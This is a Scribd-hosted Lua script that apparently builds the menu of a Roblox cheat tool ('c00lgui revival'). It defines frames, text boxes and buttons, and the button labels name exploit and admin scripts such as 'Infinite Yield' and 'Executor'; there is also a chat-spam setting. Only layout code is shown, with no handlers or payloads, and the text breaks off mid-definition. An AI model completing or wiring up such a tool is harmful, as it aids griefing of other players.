100% found this document useful (2 votes)
10K views110 pages

C 00 Lgui

The document outlines the creation of a GUI (Graphical User Interface) for a game using Lua, specifically for Roblox. It includes various UI elements such as buttons, frames, and text labels, with properties set for each element. The GUI appears to be designed for user settings, including options for skybox IDs, gravity settings, and music IDs.

Uploaded by

kodamaandre40
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
100% found this document useful (2 votes)
10K views110 pages

C 00 Lgui

The document outlines the creation of a GUI (Graphical User Interface) for a game using Lua, specifically for Roblox. It includes various UI elements such as buttons, frames, and text labels, with properties set for each element. The GUI appears to be designed for user settings, including options for skybox IDs, gravity settings, and music IDs.

Uploaded by

kodamaandre40
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 110

-- Gui to Lua

-- Version: 3.2

-- Instances:

local CoolGui = Instance.new("ScreenGui")


local cope = Instance.new("TextButton")
local settings = Instance.new("Frame")
local titles = Instance.new("TextLabel")
local smain = Instance.new("Frame")
local sdidlabel = Instance.new("TextLabel")
local bgtlabel = Instance.new("TextLabel")
local sdid = Instance.new("TextBox")
local bgt = Instance.new("TextBox")
local swsjhlabel = Instance.new("TextLabel")
local sglabel = Instance.new("TextLabel")
local swsjh = Instance.new("TextBox")
local sg = Instance.new("TextBox")
local sidlabel = Instance.new("TextLabel")
local sid = Instance.new("TextBox")
local fps = Instance.new("TextLabel")
local size = Instance.new("TextLabel")
local time = Instance.new("TextLabel")
local checkrfe = Instance.new("TextLabel")
local suslabel = Instance.new("TextLabel")
local sus = Instance.new("TextBox")
local rlabel = Instance.new("TextLabel")
local glabel = Instance.new("TextLabel")
local blabel = Instance.new("TextLabel")
local r = Instance.new("TextBox")
local g = Instance.new("TextBox")
local b = Instance.new("TextBox")
local stlabel = Instance.new("TextLabel")
local st = Instance.new("TextBox")
local sbutton = Instance.new("TextButton")
local main = Instance.new("Frame")
local title = Instance.new("TextLabel")
local left = Instance.new("TextButton")
local right = Instance.new("TextButton")
local page1 = Instance.new("Frame")
local fes = Instance.new("Frame")
local sectitle = Instance.new("TextLabel")
local button = Instance.new("TextButton")
local button_2 = Instance.new("TextButton")
local button_3 = Instance.new("TextButton")
local button_4 = Instance.new("TextButton")
local button_5 = Instance.new("TextButton")
local button_6 = Instance.new("TextButton")
local button_7 = Instance.new("TextButton")
local button_8 = Instance.new("TextButton")
local button_9 = Instance.new("TextButton")
local button_10 = Instance.new("TextButton")
local button_11 = Instance.new("TextButton")
local button_12 = Instance.new("TextButton")
local button_13 = Instance.new("TextButton")
local button_14 = Instance.new("TextButton")
local lp = Instance.new("Frame")
local sectitle_2 = Instance.new("TextLabel")
local button_15 = Instance.new("TextButton")
local button_16 = Instance.new("TextButton")
local button_17 = Instance.new("TextButton")
local button_18 = Instance.new("TextButton")
local button_19 = Instance.new("TextButton")
local button_20 = Instance.new("TextButton")
local button_21 = Instance.new("TextButton")
local button_22 = Instance.new("TextButton")
local button_23 = Instance.new("TextButton")
local button_24 = Instance.new("TextButton")
local pgname = Instance.new("TextLabel")
local page3 = Instance.new("Frame")
local guir = Instance.new("Frame")
local sectitle_3 = Instance.new("TextLabel")
local button_25 = Instance.new("TextButton")
local button_26 = Instance.new("TextButton")
local button_27 = Instance.new("TextButton")
local button_28 = Instance.new("TextButton")
local button_29 = Instance.new("TextButton")
local button_30 = Instance.new("TextButton")
local button_31 = Instance.new("TextButton")
local button_32 = Instance.new("TextButton")
local button_33 = Instance.new("TextButton")
local button_34 = Instance.new("TextButton")
local misc = Instance.new("Frame")
local sectitle_4 = Instance.new("TextLabel")
local button_35 = Instance.new("TextButton")
local button_36 = Instance.new("TextButton")
local button_37 = Instance.new("TextButton")
local button_38 = Instance.new("TextButton")
local button_39 = Instance.new("TextButton")
local button_40 = Instance.new("TextButton")
local button_41 = Instance.new("TextButton")
local button_42 = Instance.new("TextButton")
local pgname_2 = Instance.new("TextLabel")
local page2 = Instance.new("Frame")
local fds = Instance.new("Frame")
local sectitle_5 = Instance.new("TextLabel")
local button_43 = Instance.new("TextButton")
local button_44 = Instance.new("TextButton")
local button_45 = Instance.new("TextButton")
local button_46 = Instance.new("TextButton")
local btools = Instance.new("Frame")
local sectitle_6 = Instance.new("TextLabel")
local button_47 = Instance.new("TextButton")
local button_48 = Instance.new("TextButton")
local button_49 = Instance.new("TextButton")
local button_50 = Instance.new("TextButton")
local button_51 = Instance.new("TextButton")
local button_52 = Instance.new("TextButton")
local button_53 = Instance.new("TextButton")
local button_54 = Instance.new("TextButton")
local button_55 = Instance.new("TextButton")
local button_56 = Instance.new("TextButton")
local button_57 = Instance.new("TextButton")
local pgname_3 = Instance.new("TextLabel")
local page4 = Instance.new("Frame")
local pres = Instance.new("Frame")
local sectitle_7 = Instance.new("TextLabel")
local button_58 = Instance.new("TextButton")
local button_59 = Instance.new("TextButton")
local button_60 = Instance.new("TextButton")
local button_61 = Instance.new("TextButton")
local button_62 = Instance.new("TextButton")
local button_63 = Instance.new("TextButton")
local creds = Instance.new("Frame")
local credits = Instance.new("TextLabel")
local pgname_4 = Instance.new("TextLabel")

--Properties:

CoolGui.Name = "CoolGui"
CoolGui.Parent = game.Players.LocalPlayer.PlayerGui
CoolGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
CoolGui.ResetOnSpawn = false

cope.Name = "cope"
cope.Parent = CoolGui
cope.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
cope.BorderColor3 = Color3.fromRGB(255, 0, 0)
cope.BorderSizePixel = 3
cope.LayoutOrder = 13
cope.Position = UDim2.new(-0.000998668605, 0, 0.962397218, 0)
cope.Size = UDim2.new(0, 300, 0, 20)
cope.ZIndex = 3
cope.Font = Enum.Font.SourceSans
cope.Text = "Close"
cope.TextColor3 = Color3.fromRGB(255, 255, 255)
cope.TextSize = 18.000

settings.Name = "settings"
settings.Parent = CoolGui
settings.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
settings.BorderColor3 = Color3.fromRGB(255, 0, 0)
settings.BorderSizePixel = 3
settings.Position = UDim2.new(0.280000001, 3, 0.294712126, 0)
settings.Size = UDim2.new(0, 300, 0, 400)
settings.ZIndex = 2

titles.Name = "titles"
titles.Parent = settings
titles.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
titles.BorderColor3 = Color3.fromRGB(255, 0, 0)
titles.BorderSizePixel = 3
titles.LayoutOrder = 3
titles.Size = UDim2.new(0, 300, 0, 40)
titles.Font = Enum.Font.SourceSans
titles.Text = "Settings"
titles.TextColor3 = Color3.fromRGB(255, 255, 255)
titles.TextSize = 24.000

smain.Name = "smain"
smain.Parent = settings
smain.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
smain.BorderColor3 = Color3.fromRGB(255, 0, 0)
smain.BorderSizePixel = 3
smain.Position = UDim2.new(0.00333363842, 0, 0.100000001, 0)
smain.Size = UDim2.new(0, 298, 0, 359)
sdidlabel.Name = "sdidlabel"
sdidlabel.Parent = smain
sdidlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sdidlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
sdidlabel.BorderSizePixel = 3
sdidlabel.Size = UDim2.new(0, 149, 0, 33)
sdidlabel.ZIndex = 3
sdidlabel.Font = Enum.Font.SourceSansBold
sdidlabel.Text = "Skybox/Decal ID"
sdidlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
sdidlabel.TextSize = 14.000

bgtlabel.Name = "bgtlabel"
bgtlabel.Parent = smain
bgtlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
bgtlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
bgtlabel.BorderSizePixel = 3
bgtlabel.Position = UDim2.new(0.5, 0, 0, 0)
bgtlabel.Size = UDim2.new(0, 149, 0, 33)
bgtlabel.ZIndex = 3
bgtlabel.Font = Enum.Font.SourceSansBold
bgtlabel.Text = "Billboard Gui Text"
bgtlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
bgtlabel.TextSize = 14.000

sdid.Name = "sdid"
sdid.Parent = smain
sdid.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sdid.BorderColor3 = Color3.fromRGB(255, 0, 0)
sdid.BorderSizePixel = 3
sdid.Position = UDim2.new(0, 0, 0.0919220075, 0)
sdid.Size = UDim2.new(0, 149, 0, 28)
sdid.ZIndex = 3
sdid.Font = Enum.Font.SourceSans
sdid.Text = "433517917"
sdid.TextColor3 = Color3.fromRGB(255, 255, 255)
sdid.TextSize = 14.000
sdid.TextWrapped = true

bgt.Name = "bgt"
bgt.Parent = smain
bgt.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
bgt.BorderColor3 = Color3.fromRGB(255, 0, 0)
bgt.BorderSizePixel = 3
bgt.Position = UDim2.new(0.5, 0, 0.0919220075, 0)
bgt.Size = UDim2.new(0, 149, 0, 28)
bgt.ZIndex = 3
bgt.Font = Enum.Font.SourceSans
bgt.Text = "c00lkidd revival"
bgt.TextColor3 = Color3.fromRGB(255, 255, 255)
bgt.TextSize = 14.000
bgt.TextWrapped = true

swsjhlabel.Name = "swsjhlabel"
swsjhlabel.Parent = smain
swsjhlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
swsjhlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
swsjhlabel.BorderSizePixel = 3
swsjhlabel.Position = UDim2.new(0, 0, 0.169916436, 0)
swsjhlabel.Size = UDim2.new(0, 74, 0, 33)
swsjhlabel.ZIndex = 3
swsjhlabel.Font = Enum.Font.SourceSansBold
swsjhlabel.Text = "Set WS/JH"
swsjhlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
swsjhlabel.TextSize = 14.000

sglabel.Name = "sglabel"
sglabel.Parent = smain
sglabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sglabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
sglabel.BorderSizePixel = 3
sglabel.Position = UDim2.new(0.241610736, 0, 0.169916436, 0)
sglabel.Size = UDim2.new(0, 74, 0, 33)
sglabel.ZIndex = 3
sglabel.Font = Enum.Font.SourceSansBold
sglabel.Text = "Set Gravity"
sglabel.TextColor3 = Color3.fromRGB(255, 255, 255)
sglabel.TextSize = 14.000

swsjh.Name = "swsjh"
swsjh.Parent = smain
swsjh.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
swsjh.BorderColor3 = Color3.fromRGB(255, 0, 0)
swsjh.BorderSizePixel = 3
swsjh.Position = UDim2.new(0, 0, 0.261838436, 0)
swsjh.Size = UDim2.new(0, 72, 0, 28)
swsjh.ZIndex = 3
swsjh.Font = Enum.Font.SourceSans
swsjh.Text = "50"
swsjh.TextColor3 = Color3.fromRGB(255, 255, 255)
swsjh.TextSize = 14.000
swsjh.TextWrapped = true

sg.Name = "sg"
sg.Parent = smain
sg.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sg.BorderColor3 = Color3.fromRGB(255, 0, 0)
sg.BorderSizePixel = 3
sg.Position = UDim2.new(0.241610736, 0, 0.261838436, 0)
sg.Size = UDim2.new(0, 74, 0, 28)
sg.ZIndex = 3
sg.Font = Enum.Font.SourceSans
sg.Text = "100"
sg.TextColor3 = Color3.fromRGB(255, 255, 255)
sg.TextSize = 14.000
sg.TextWrapped = true

sidlabel.Name = "sidlabel"
sidlabel.Parent = smain
sidlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sidlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
sidlabel.BorderSizePixel = 3
sidlabel.Position = UDim2.new(0.5, 0, 0.169916436, 0)
sidlabel.Size = UDim2.new(0, 149, 0, 33)
sidlabel.ZIndex = 3
sidlabel.Font = Enum.Font.SourceSansBold
sidlabel.Text = "Music ID"
sidlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
sidlabel.TextSize = 14.000

sid.Name = "sid"
sid.Parent = smain
sid.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sid.BorderColor3 = Color3.fromRGB(255, 0, 0)
sid.BorderSizePixel = 3
sid.Position = UDim2.new(0.5, 0, 0.261838436, 0)
sid.Size = UDim2.new(0, 149, 0, 28)
sid.ZIndex = 3
sid.Font = Enum.Font.SourceSans
sid.Text = ""
sid.TextColor3 = Color3.fromRGB(255, 255, 255)
sid.TextSize = 14.000
sid.TextWrapped = true

fps.Name = "fps"
fps.Parent = smain
fps.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
fps.BorderColor3 = Color3.fromRGB(255, 0, 0)
fps.BorderSizePixel = 3
fps.Position = UDim2.new(0, 0, 0.339832872, 0)
fps.Size = UDim2.new(0, 149, 0, 33)
fps.ZIndex = 3
fps.Font = Enum.Font.SourceSans
fps.Text = "FPS: "
fps.TextColor3 = Color3.fromRGB(255, 255, 255)
fps.TextSize = 14.000

size.Name = "size"
size.Parent = smain
size.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
size.BorderColor3 = Color3.fromRGB(255, 0, 0)
size.BorderSizePixel = 3
size.Position = UDim2.new(0, 0, 0.431754887, 0)
size.Size = UDim2.new(0, 149, 0, 33)
size.ZIndex = 3
size.Font = Enum.Font.SourceSans
size.Text = "Server Size: "
size.TextColor3 = Color3.fromRGB(255, 255, 255)
size.TextSize = 14.000

time.Name = "time"
time.Parent = smain
time.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
time.BorderColor3 = Color3.fromRGB(255, 0, 0)
time.BorderSizePixel = 3
time.Position = UDim2.new(0, 0, 0.523676872, 0)
time.Size = UDim2.new(0, 149, 0, 33)
time.ZIndex = 3
time.Font = Enum.Font.SourceSans
time.Text = "Server Time: "
time.TextColor3 = Color3.fromRGB(255, 255, 255)
time.TextSize = 14.000
time.TextWrapped = true

checkrfe.Name = "checkrfe"
checkrfe.Parent = smain
checkrfe.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
checkrfe.BorderColor3 = Color3.fromRGB(255, 0, 0)
checkrfe.BorderSizePixel = 3
checkrfe.Position = UDim2.new(0.5, 0, 0.339832872, 0)
checkrfe.Size = UDim2.new(0, 149, 0, 33)
checkrfe.ZIndex = 3
checkrfe.Font = Enum.Font.SourceSans
checkrfe.Text = "Loading.."
checkrfe.TextColor3 = Color3.fromRGB(255, 255, 255)
checkrfe.TextSize = 14.000
checkrfe.TextWrapped = true

suslabel.Name = "suslabel"
suslabel.Parent = smain
suslabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
suslabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
suslabel.BorderSizePixel = 3
suslabel.Position = UDim2.new(0, 0, 0.615598857, 0)
suslabel.Size = UDim2.new(0, 146, 0, 33)
suslabel.ZIndex = 3
suslabel.Font = Enum.Font.SourceSansBold
suslabel.Text = "Set Username"
suslabel.TextColor3 = Color3.fromRGB(255, 255, 255)
suslabel.TextSize = 14.000

sus.Name = "sus"
sus.Parent = smain
sus.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sus.BorderColor3 = Color3.fromRGB(255, 0, 0)
sus.BorderSizePixel = 3
sus.Position = UDim2.new(0, 0, 0.707520902, 0)
sus.Size = UDim2.new(0, 146, 0, 28)
sus.ZIndex = 3
sus.Font = Enum.Font.SourceSans
sus.Text = "c00lkidd"
sus.TextColor3 = Color3.fromRGB(255, 255, 255)
sus.TextSize = 14.000
sus.TextWrapped = true

rlabel.Name = "rlabel"
rlabel.Parent = smain
rlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
rlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
rlabel.BorderSizePixel = 3
rlabel.Position = UDim2.new(0.5, 0, 0.615598857, 0)
rlabel.Size = UDim2.new(0, 49, 0, 33)
rlabel.ZIndex = 3
rlabel.Font = Enum.Font.SourceSansBold
rlabel.Text = "R"
rlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
rlabel.TextSize = 14.000

glabel.Name = "glabel"
glabel.Parent = smain
glabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
glabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
glabel.BorderSizePixel = 3
glabel.Position = UDim2.new(0.667785227, 0, 0.615598857, 0)
glabel.Size = UDim2.new(0, 49, 0, 33)
glabel.ZIndex = 3
glabel.Font = Enum.Font.SourceSansBold
glabel.Text = "G"
glabel.TextColor3 = Color3.fromRGB(255, 255, 255)
glabel.TextSize = 14.000

blabel.Name = "blabel"
blabel.Parent = smain
blabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
blabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
blabel.BorderSizePixel = 3
blabel.Position = UDim2.new(0.832214773, 0, 0.615598857, 0)
blabel.Size = UDim2.new(0, 49, 0, 33)
blabel.ZIndex = 3
blabel.Font = Enum.Font.SourceSansBold
blabel.Text = "B"
blabel.TextColor3 = Color3.fromRGB(255, 255, 255)
blabel.TextSize = 14.000

r.Name = "r"
r.Parent = smain
r.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
r.BorderColor3 = Color3.fromRGB(255, 0, 0)
r.BorderSizePixel = 3
r.Position = UDim2.new(0.5, 0, 0.707520902, 0)
r.Size = UDim2.new(0, 50, 0, 28)
r.ZIndex = 3
r.Font = Enum.Font.SourceSans
r.Text = "255"
r.TextColor3 = Color3.fromRGB(255, 255, 255)
r.TextSize = 14.000
r.TextWrapped = true

g.Name = "g"
g.Parent = smain
g.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
g.BorderColor3 = Color3.fromRGB(255, 0, 0)
g.BorderSizePixel = 3
g.Position = UDim2.new(0.667785227, 0, 0.707520902, 0)
g.Size = UDim2.new(0, 50, 0, 28)
g.ZIndex = 3
g.Font = Enum.Font.SourceSans
g.Text = "0"
g.TextColor3 = Color3.fromRGB(255, 255, 255)
g.TextSize = 14.000
g.TextWrapped = true

b.Name = "b"
b.Parent = smain
b.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
b.BorderColor3 = Color3.fromRGB(255, 0, 0)
b.BorderSizePixel = 3
b.Position = UDim2.new(0.832214773, 0, 0.707520902, 0)
b.Size = UDim2.new(0, 50, 0, 28)
b.ZIndex = 3
b.Font = Enum.Font.SourceSans
b.Text = "0"
b.TextColor3 = Color3.fromRGB(255, 255, 255)
b.TextSize = 14.000
b.TextWrapped = true
stlabel.Name = "stlabel"
stlabel.Parent = smain
stlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
stlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
stlabel.BorderSizePixel = 3
stlabel.Position = UDim2.new(0.5, 0, 0.431754887, 0)
stlabel.Size = UDim2.new(0, 148, 0, 33)
stlabel.ZIndex = 3
stlabel.Font = Enum.Font.SourceSansBold
stlabel.Text = "Set Spam Text"
stlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
stlabel.TextSize = 14.000

st.Name = "st"
st.Parent = smain
st.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
st.BorderColor3 = Color3.fromRGB(255, 0, 0)
st.BorderSizePixel = 3
st.Position = UDim2.new(0.5, 0, 0.523676872, 0)
st.Size = UDim2.new(0, 149, 0, 30)
st.ZIndex = 4
st.Font = Enum.Font.SourceSans
st.Text = "join team c00lkidd!"
st.TextColor3 = Color3.fromRGB(255, 255, 255)
st.TextSize = 14.000
st.TextWrapped = true

sbutton.Name = "sbutton"
sbutton.Parent = settings
sbutton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sbutton.BorderColor3 = Color3.fromRGB(255, 0, 0)
sbutton.BorderSizePixel = 3
sbutton.Position = UDim2.new(1, 0, 0, 0)
sbutton.Size = UDim2.new(0, 27, 1, 0)
sbutton.ZIndex = 2
sbutton.Font = Enum.Font.SourceSans
sbutton.Text = "<"
sbutton.TextColor3 = Color3.fromRGB(255, 255, 255)
sbutton.TextSize = 48.000

main.Name = "main"
main.Parent = CoolGui
main.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
main.BorderColor3 = Color3.fromRGB(255, 0, 0)
main.BorderSizePixel = 3
main.Position = UDim2.new(-0.00299600535, 3, 0.294712126, 0)
main.Size = UDim2.new(0, 300, 0, 400)
main.ZIndex = 2

title.Name = "title"
title.Parent = main
title.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
title.BorderColor3 = Color3.fromRGB(255, 0, 0)
title.BorderSizePixel = 3
title.LayoutOrder = 3
title.Position = UDim2.new(-0.00333333341, 0, 0, 0)
title.Size = UDim2.new(0, 300, 0, 40)
title.Font = Enum.Font.SourceSans
title.Text = "c00lgui revival by Hyperion (EDITED)"
title.TextColor3 = Color3.fromRGB(255, 255, 255)
title.TextSize = 24.000

left.Name = "left"
left.Parent = main
left.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
left.BorderColor3 = Color3.fromRGB(255, 0, 0)
left.BorderSizePixel = 3
left.Position = UDim2.new(0, 0, 0.100000001, 0)
left.Size = UDim2.new(0, 149, 0, 33)
left.Font = Enum.Font.SourceSans
left.Text = "<"
left.TextColor3 = Color3.fromRGB(255, 255, 255)
left.TextSize = 48.000

right.Name = "right"
right.Parent = main
right.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
right.BorderColor3 = Color3.fromRGB(255, 0, 0)
right.BorderSizePixel = 3
right.Position = UDim2.new(0.49666667, 0, 0.100000001, 0)
right.Size = UDim2.new(0, 149, 0, 33)
right.Font = Enum.Font.SourceSans
right.Text = ">"
right.TextColor3 = Color3.fromRGB(255, 255, 255)
right.TextSize = 48.000

page1.Name = "page1"
page1.Parent = main
page1.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
page1.BorderColor3 = Color3.fromRGB(255, 0, 0)
page1.BorderSizePixel = 3
page1.Position = UDim2.new(0, 0, 0.182500005, 0)
page1.Size = UDim2.new(0, 298, 0, 306)

fes.Name = "fes"
fes.Parent = page1
fes.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
fes.BorderColor3 = Color3.fromRGB(255, 0, 0)
fes.BorderSizePixel = 3
fes.Size = UDim2.new(0, 149, 0, 306)

sectitle.Name = "sectitle"
sectitle.Parent = fes
sectitle.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle.BorderSizePixel = 3
sectitle.Size = UDim2.new(0, 149, 0, 30)
sectitle.Font = Enum.Font.SourceSansBold
sectitle.Text = "FE Scripts"
sectitle.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle.TextSize = 14.000

button.Name = "button"
button.Parent = fes
button.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button.BorderColor3 = Color3.fromRGB(255, 0, 0)
button.BorderSizePixel = 3
button.Position = UDim2.new(0, 0, 0.0980392173, 0)
button.Size = UDim2.new(0, 71, 0, 25)
button.Font = Enum.Font.SourceSans
button.Text = "Glitch Sound"
button.TextColor3 = Color3.fromRGB(255, 255, 255)
button.TextSize = 14.000

button_2.Name = "button"
button_2.Parent = fes
button_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_2.BorderSizePixel = 3
button_2.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_2.Size = UDim2.new(0, 71, 0, 25)
button_2.Font = Enum.Font.SourceSans
button_2.Text = "Dank Engine"
button_2.TextColor3 = Color3.fromRGB(255, 255, 255)
button_2.TextSize = 14.000

button_3.Name = "button"
button_3.Parent = fes
button_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_3.BorderSizePixel = 3
button_3.Position = UDim2.new(0, 0, 0.179738566, 0)
button_3.Size = UDim2.new(0, 71, 0, 25)
button_3.Font = Enum.Font.SourceSans
button_3.Text = "Lightsaber"
button_3.TextColor3 = Color3.fromRGB(255, 255, 255)
button_3.TextSize = 14.000

button_4.Name = "button"
button_4.Parent = fes
button_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_4.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_4.BorderSizePixel = 3
button_4.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_4.Size = UDim2.new(0, 71, 0, 25)
button_4.Font = Enum.Font.SourceSans
button_4.Text = "sing c00lkidd"
button_4.TextColor3 = Color3.fromRGB(255, 255, 255)
button_4.TextSize = 14.000

button_5.Name = "button"
button_5.Parent = fes
button_5.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_5.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_5.BorderSizePixel = 3
button_5.Position = UDim2.new(0, 0, 0.261437923, 0)
button_5.Size = UDim2.new(0, 71, 0, 25)
button_5.Font = Enum.Font.SourceSans
button_5.Text = "Nameless FE"
button_5.TextColor3 = Color3.fromRGB(255, 255, 255)
button_5.TextSize = 14.000

button_6.Name = "button"
button_6.Parent = fes
button_6.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_6.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_6.BorderSizePixel = 3
button_6.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_6.Size = UDim2.new(0, 71, 0, 25)
button_6.Font = Enum.Font.SourceSans
button_6.Text = "Infinite Yield"
button_6.TextColor3 = Color3.fromRGB(255, 255, 255)
button_6.TextSize = 14.000

button_7.Name = "button"
button_7.Parent = fes
button_7.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_7.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_7.BorderSizePixel = 3
button_7.Position = UDim2.new(0, 0, 0.343137264, 0)
button_7.Size = UDim2.new(0, 71, 0, 25)
button_7.Font = Enum.Font.SourceSans
button_7.Text = "Fedora Admin"
button_7.TextColor3 = Color3.fromRGB(255, 255, 255)
button_7.TextSize = 14.000

button_8.Name = "button"
button_8.Parent = fes
button_8.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_8.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_8.BorderSizePixel = 3
button_8.Position = UDim2.new(0.523489952, 0, 0.343137264, 0)
button_8.Size = UDim2.new(0, 71, 0, 25)
button_8.Font = Enum.Font.SourceSans
button_8.Text = "OPFinality"
button_8.TextColor3 = Color3.fromRGB(255, 255, 255)
button_8.TextSize = 14.000

button_9.Name = "button"
button_9.Parent = fes
button_9.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_9.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_9.BorderSizePixel = 3
button_9.Position = UDim2.new(0, 0, 0.424836606, 0)
button_9.Size = UDim2.new(0, 71, 0, 25)
button_9.Font = Enum.Font.SourceSans
button_9.Text = "Illuminati"
button_9.TextColor3 = Color3.fromRGB(255, 255, 255)
button_9.TextSize = 14.000

button_10.Name = "button"
button_10.Parent = fes
button_10.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_10.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_10.BorderSizePixel = 3
button_10.Position = UDim2.new(0.523489952, 0, 0.424836606, 0)
button_10.Size = UDim2.new(0, 71, 0, 25)
button_10.Font = Enum.Font.SourceSans
button_10.Text = "Script Hub"
button_10.TextColor3 = Color3.fromRGB(255, 255, 255)
button_10.TextSize = 14.000

button_11.Name = "button"
button_11.Parent = fes
button_11.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_11.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_11.BorderSizePixel = 3
button_11.Position = UDim2.new(0, 0, 0.506535947, 0)
button_11.Size = UDim2.new(0, 71, 0, 25)
button_11.Font = Enum.Font.SourceSans
button_11.Text = "Executor"
button_11.TextColor3 = Color3.fromRGB(255, 255, 255)
button_11.TextSize = 14.000

button_12.Name = "button"
button_12.Parent = fes
button_12.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_12.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_12.BorderSizePixel = 3
button_12.Position = UDim2.new(0.523489952, 0, 0.506535947, 0)
button_12.Size = UDim2.new(0, 71, 0, 25)
button_12.Font = Enum.Font.SourceSans
button_12.Text = "Energize FE"
button_12.TextColor3 = Color3.fromRGB(255, 255, 255)
button_12.TextSize = 14.000

button_13.Name = "button"
button_13.Parent = fes
button_13.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_13.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_13.BorderSizePixel = 3
button_13.Position = UDim2.new(0, 0, 0.588235319, 0)
button_13.Size = UDim2.new(0, 71, 0, 25)
button_13.Font = Enum.Font.SourceSans
button_13.Text = "dev-uzi"
button_13.TextColor3 = Color3.fromRGB(255, 255, 255)
button_13.TextSize = 14.000

button_14.Name = "button"
button_14.Parent = fes
button_14.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_14.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_14.BorderSizePixel = 3
button_14.Position = UDim2.new(0.523489952, 0, 0.588235319, 0)
button_14.Size = UDim2.new(0, 71, 0, 25)
button_14.Font = Enum.Font.SourceSans
button_14.Text = "Unanchored2Plr"
button_14.TextColor3 = Color3.fromRGB(255, 255, 255)
button_14.TextSize = 14.000

lp.Name = "lp"
lp.Parent = page1
lp.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
lp.BorderColor3 = Color3.fromRGB(255, 0, 0)
lp.BorderSizePixel = 3
lp.Position = UDim2.new(0.5, 0, 0, 0)
lp.Size = UDim2.new(0, 149, 0, 306)

sectitle_2.Name = "sectitle"
sectitle_2.Parent = lp
sectitle_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_2.BorderSizePixel = 3
